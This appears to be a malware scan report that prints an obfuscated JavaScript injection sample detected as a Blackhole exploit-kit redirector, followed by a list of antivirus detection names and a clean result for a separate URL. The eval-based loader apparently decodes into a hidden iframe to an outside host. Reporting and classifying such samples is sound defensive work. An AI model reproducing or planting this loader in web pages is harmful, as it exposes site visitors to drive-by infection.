Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,69,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,69,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6b,5f,5c,6a,6b,66,69,58,5e,5c,5d,58,69,64,25,5a,58,2
... 3133 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1306!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://www.sanramonquiznos.com/test404page.js | 404 Not Found Content-Length: 331 Content-Type: text/html | clean |